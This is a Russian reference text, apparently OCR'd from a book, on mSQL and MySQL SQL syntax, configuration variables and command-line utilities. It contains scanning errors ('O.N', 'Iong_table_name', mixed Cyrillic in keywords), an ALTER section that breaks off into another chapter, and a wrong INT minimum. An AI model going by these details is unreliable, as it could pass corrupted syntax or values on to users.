    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

